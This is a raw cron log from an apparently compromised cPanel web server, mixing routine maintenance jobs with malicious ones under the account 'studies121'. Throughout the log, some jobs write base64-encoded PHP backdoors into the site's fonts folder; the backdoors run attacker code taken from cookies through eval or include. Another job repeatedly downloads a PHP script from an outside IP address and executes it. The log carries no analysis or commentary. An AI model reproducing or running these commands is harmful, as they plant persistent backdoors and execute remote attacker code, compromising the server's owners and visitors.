Aug 31 10:39:01 ip-184-168-122-23 CROND[14366]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 10:39:01 ip-184-168-122-23 CROND[14368]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 10:39:01 ip-184-168-122-23 CROND[14369]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 10:39:01 ip-184-168-122-23 CROND[14367]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 10:40:01 ip-184-168-122-23 CROND[14565]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 31 10:40:01 ip-184-168-122-23 CROND[14571]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 10:40:01 ip-184-168-122-23 CROND[14568]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 10:40:01 ip-184-168-122-23 CROND[14572]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 10:40:01 ip-184-168-122-23 CROND[14570]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 10:40:01 ip-184-168-122-23 CROND[14569]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 10:40:01 ip-184-168-122-23 CROND[14574]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 10:40:01 ip-184-168-122-23 CROND[14575]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 10:41:01 ip-184-168-122-23 CROND[14701]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 10:41:01 ip-184-168-122-23 CROND[14702]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 10:41:01 ip-184-168-122-23 CROND[14704]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 10:41:01 ip-184-168-122-23 CROND[14705]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 10:42:01 ip-184-168-122-23 CROND[14841]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 10:42:01 ip-184-168-122-23 CROND[14843]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 10:42:01 ip-184-168-122-23 CROND[14846]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 10:42:01 ip-184-168-122-23 CROND[14845]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 10:42:01 ip-184-168-122-23 CROND[14844]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 10:43:01 ip-184-168-122-23 CROND[14944]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 10:43:01 ip-184-168-122-23 CROND[14948]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 10:43:01 ip-184-168-122-23 CROND[14946]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 10:43:01 ip-184-168-122-23 CROND[14947]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 10:44:01 ip-184-168-122-23 CROND[15072]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 10:44:01 ip-184-168-122-23 CROND[15074]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 10:44:01 ip-184-168-122-23 CROND[15075]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 10:44:01 ip-184-168-122-23 CROND[15076]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 10:44:01 ip-184-168-122-23 CROND[15077]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 10:45:01 ip-184-168-122-23 CROND[15198]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 10:45:01 ip-184-168-122-23 CROND[15199]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 10:45:01 ip-184-168-122-23 CROND[15201]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 10:45:01 ip-184-168-122-23 CROND[15203]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 10:45:01 ip-184-168-122-23 CROND[15202]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 10:45:01 ip-184-168-122-23 CROND[15204]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 10:46:01 ip-184-168-122-23 CROND[15408]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 10:46:01 ip-184-168-122-23 CROND[15412]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 10:46:01 ip-184-168-122-23 CROND[15415]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 10:46:01 ip-184-168-122-23 CROND[15416]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 10:46:01 ip-184-168-122-23 CROND[15413]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Aug 31 10:46:01 ip-184-168-122-23 CROND[15414]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Aug 31 10:46:01 ip-184-168-122-23 CROND[15417]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 10:47:01 ip-184-168-122-23 CROND[15577]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 10:47:01 ip-184-168-122-23 CROND[15576]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 10:47:01 ip-184-168-122-23 CROND[15579]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 10:47:01 ip-184-168-122-23 CROND[15580]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 10:48:01 ip-184-168-122-23 CROND[15703]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 10:48:01 ip-184-168-122-23 CROND[15705]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 10:48:01 ip-184-168-122-23 CROND[15706]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 10:48:01 ip-184-168-122-23 CROND[15707]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 10:48:01 ip-184-168-122-23 CROND[15708]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 10:49:01 ip-184-168-122-23 CROND[15815]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 10:49:01 ip-184-168-122-23 CROND[15816]: (root) CMD (/usr/local/cpanel/bin/autossl_check --all)
Aug 31 10:49:01 ip-184-168-122-23 CROND[15818]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 10:49:01 ip-184-168-122-23 CROND[15820]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 10:49:01 ip-184-168-122-23 CROND[15819]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 10:50:02 ip-184-168-122-23 CROND[15957]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 10:50:02 ip-184-168-122-23 CROND[15958]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 10:50:02 ip-184-168-122-23 CROND[15960]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 10:50:02 ip-184-168-122-23 CROND[15962]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 10:50:02 ip-184-168-122-23 CROND[15961]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Aug 31 10:50:02 ip-184-168-122-23 CROND[15964]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 10:50:02 ip-184-168-122-23 CROND[15966]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 10:50:02 ip-184-168-122-23 CROND[15965]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 10:50:02 ip-184-168-122-23 CROND[15967]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 31 10:51:01 ip-184-168-122-23 CROND[16211]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
